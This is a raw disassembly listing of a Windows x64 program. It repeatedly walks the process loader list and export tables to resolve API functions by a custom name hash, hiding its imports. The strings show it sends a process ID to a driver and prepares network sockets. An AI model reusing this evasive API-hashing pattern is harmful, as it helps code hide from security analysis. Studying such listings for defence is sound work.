cmp dword [rax + 0x8c], 0
jbe 0x14001ba13
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001ba0a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r9d, r14d
movzx r10d, byte [r11]
test r10b, r10b
je 0x14001b9b9
mov r12d, r8d
nop word [rax + rax]
movsx edx, r10b
sub r10b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r10b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r9 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r9d
test r9d, r9d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r9d
movzx r10d, byte [r9 + r11]
test r10b, r10b
jne 0x14001b960
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x56433fc
je 0x14001b9c5
inc ebx
cmp ebx, r12d
jae 0x14001ba00
jmp 0x14001b930
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001ba00
cmp rsi, rcx
jb 0x14001ba1b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001baaf
mov rcx, qword [rcx]
jmp 0x14001b8ba
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001ba40
inc rsi
cmp r8b, 0x2e
jne 0x14001ba33
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001ba27
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001ba9d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001ba51
mov edx, r9d
lea rcx, [rbp + 0x8c2]
call fcn.14001ef80
mov rsi, rax
mov r8d, 0x10
lea rdx, [rbp + 0x8f0]
mov rcx, qword [rsp + 0x30]
call rsi
nop
test eax, eax
jns 0x14001bef7
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e5f0
cmp qword [rcx + 0x60], 0
je 0x14001bc43
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001bc43
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e5c9
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001bb4e
cmp dword [rax + 0x8c], 0
jbe 0x14001bc43
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001bc3a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r9d, r14d
movzx r10d, byte [r11]
test r10b, r10b
je 0x14001bbe9
mov r12d, r8d
nop word [rax + rax]
movsx edx, r10b
sub r10b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r10b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r9 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r9d
test r9d, r9d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r9d
movzx r10d, byte [r9 + r11]
test r10b, r10b
jne 0x14001bb90
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001bbf5
inc ebx
cmp ebx, r12d
jae 0x14001bc30
jmp 0x14001bb5e
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001bc30
cmp rsi, rcx
jb 0x14001bc4b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001bcdf
mov rcx, qword [rcx]
jmp 0x14001bae8
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001bc70
inc rsi
cmp r8b, 0x2e
jne 0x14001bc63
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001bc57
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001bccd
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001bc81
mov edx, r9d
lea rcx, [rbp + 0x8c1]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e5a2
cmp qword [rcx + 0x60], 0
je 0x14001be53
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001be53
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e57b
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001bd69
cmp dword [rax + 0x8c], 0
jbe 0x14001be53
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001be4a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001bdf9
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001bda0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001be05
inc ebx
cmp ebx, r12d
jae 0x14001be40
jmp 0x14001bd79
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001be40
cmp rsi, rcx
jb 0x14001be5b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001beef
mov rcx, qword [rcx]
jmp 0x14001bd03
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001be80
inc rsi
cmp r8b, 0x2e
jne 0x14001be73
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001be67
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001bedd
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001be91
mov edx, r9d
lea rcx, [rbp + 0x8c0]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
jmp 0x14001ae62
mov dword [rbp + 0x8e0], r14d
lea r8, [rbp + 0x8e4]
lea r9, [rbp + 0x8e4]
lea r10, str.0123456789abcdefghijklmnopqrstuvwxyz
mov r14d, dword [rsp + 0x38]
nop dword [rax + rax]
mov r11d, r14d
mov eax, 0x66666667
imul r14d
mov r14d, edx
sar r14d, 2
mov eax, r14d
shr eax, 0x1f
add r14d, eax
lea ecx, [r14 + r14*4]
add ecx, ecx
mov eax, r11d
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r10]
mov byte [r8], al
inc r8
test r14d, r14d
jne 0x14001bf20
test r11d, r11d
mov r14d, 0
jns 0x14001bf6b
mov byte [r8], 0x2d
inc r8
mov byte [r8], r14b
dec r8
lea rax, [rbp + 0x8e4]
cmp rax, r8
jae 0x14001bf99
nop dword [rax]
movzx ecx, byte [r8]
movzx eax, byte [r9]
mov byte [r8], al
dec r8
mov byte [r9], cl
inc r9
cmp r9, r8
jb 0x14001bf80
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e728
cmp qword [rcx + 0x60], 0
je 0x14001c105
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001c105
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e701
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001c01b
cmp dword [rax + 0x8c], 0
jbe 0x14001c105
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001c0fc
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001c0ab
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001c052
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x61423502
je 0x14001c0b7
inc ebx
cmp ebx, r12d
jae 0x14001c0f2
jmp 0x14001c02b
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001c0f2
cmp rsi, rcx
jb 0x14001c10d
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001c1ae
mov rcx, qword [rcx]
jmp 0x14001bfb5
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001c139
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001c12c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001c120
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001c19c
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001c150
mov edx, r9d
lea rcx, [rbp + 0x8bf]
call fcn.14001ef80
mov rsi, rax
xor r9d, r9d
lea r8d, [r9 + 0x10]
lea rdx, [rbp + 0x8e0]
mov rcx, qword [rsp + 0x30]
call rsi
nop
lea rdx, [rbp + 0x8e4]
lea rcx, str.pid_s_n
call fcn.140017d70
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e6da
cmp qword [rcx + 0x60], 0
je 0x14001c344
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001c344
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e6b3
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001c25a
cmp dword [rax + 0x8c], 0
jbe 0x14001c344
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001c33b
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001c2ea
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001c291
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xeb9a2961
je 0x14001c2f6
inc ebx
cmp ebx, r12d
jae 0x14001c331
jmp 0x14001c26a
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001c331
cmp rsi, rcx
jb 0x14001c34c
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001c3ee
mov rcx, qword [rcx]
jmp 0x14001c1f4
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001c379
nop dword [rax + rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001c36c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001c360
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001c3dc
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001c390
mov edx, r9d
lea rcx, [rbp + 0x8ba]
call fcn.14001ef80
mov rsi, rax
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0xc80]
mov rcx, qword [rsp + 0x30]
call rsi
nop
lea rdx, [rbp + 0xc80]
lea rcx, str.Message_received_from_driver:__s_n
call fcn.140017d70
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e68c
cmp qword [rcx + 0x60], 0
je 0x14001c597
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001c597
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e665
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001c49c
cmp dword [rax + 0x8c], 0
jbe 0x14001c597
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001c58e
mov ecx, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rdi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001c53d
mov r12d, r8d
nop dword [rax]
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001c4e0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001c549
mov ecx, dword [r13 + 0x20]
inc ebx
cmp ebx, r12d
jae 0x14001c584
jmp 0x14001c4b0
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001c584
cmp rsi, rcx
jb 0x14001c59f
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001c63e
mov rcx, qword [rcx]
jmp 0x14001c436
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001c5c9
nop dword [rax + rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001c5bc
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001c5b0
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001c62c
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001c5e0
mov edx, r9d
lea rcx, [rbp + 0x8be]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.driver_detected_suka_nahui_n
call fcn.140017d70
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e63e
cmp qword [rcx + 0x60], 0
je 0x14001c7c5
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001c7c5
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e617
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001c6db
cmp dword [rax + 0x8c], 0
jbe 0x14001c7c5
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001c7bc
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001c76b
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001c712
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x607d92d2
je 0x14001c777
inc ebx
cmp ebx, r12d
jae 0x14001c7b2
jmp 0x14001c6eb
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001c7b2
cmp rsi, rcx
jb 0x14001c7cd
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001c86e
mov rcx, qword [rcx]
jmp 0x14001c675
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001c7f9
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001c7ec
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001c7e0
movzx r8d, byte [r10]
mov r11d, 0x2bf7cf4a
mov r9d, r11d
test r8b, r8b
je 0x14001c85c
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r14 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r14d
test r14d, r14d
cmove eax, r11d
xor eax, r11d
imul r9d, eax
add r9d, edx
inc r14d
movzx r8d, byte [r14 + r10]
test r8b, r8b
jne 0x14001c810
mov edx, r9d
lea rcx, [rbp + 0x8bd]
call fcn.14001ef80
mov rsi, rax
lea rcx, str.pause
call rsi
nop
jmp 0x14001e401
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001c8b8
cmp rsi, rcx
jb 0x14001c8d3
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001c96c
mov rcx, qword [rcx]
jmp 0x14001aeff
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001c8f9
nop
inc rsi
cmp r8b, 0x2e
jne 0x14001c8ec
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001c8e0
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001c95a
nop dword [rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001c910
mov edx, r9d
lea rcx, [rbp + 0x8bc]
call fcn.14001ef80
mov rsi, rax
mov ecx, 0x202
lea rdx, [rbp + 0xae0]
call rsi
nop
test eax, eax
jne 0x14001e401
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ec08
cmp qword [rcx + 0x60], 0
je 0x14001cb07
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001cb07
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001ebe1
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001ca05
cmp dword [rax + 0x8c], 0
jbe 0x14001cb07
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001cafe
mov ecx, dword [r13 + 0x20]
nop dword [rax]
mov r15d, ebx
lea rax, [rdi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001caad
mov r12d, r8d
nop dword [rax]
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001ca50
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xc82b0ec9
je 0x14001cab9
mov ecx, dword [r13 + 0x20]
inc ebx
cmp ebx, r12d
jae 0x14001caf4
jmp 0x14001ca20
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001caf4
cmp rsi, rcx
jb 0x14001cb0f
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001cbac
mov rcx, qword [rcx]
jmp 0x14001c99f
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001cb39
nop dword [rax + rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001cb2c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001cb20
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001cb9a
nop dword [rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001cb50
mov edx, r9d
lea rcx, [rbp + 0x8bb]
call fcn.14001ef80
mov rsi, rax
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call rsi
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x14001cde6
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
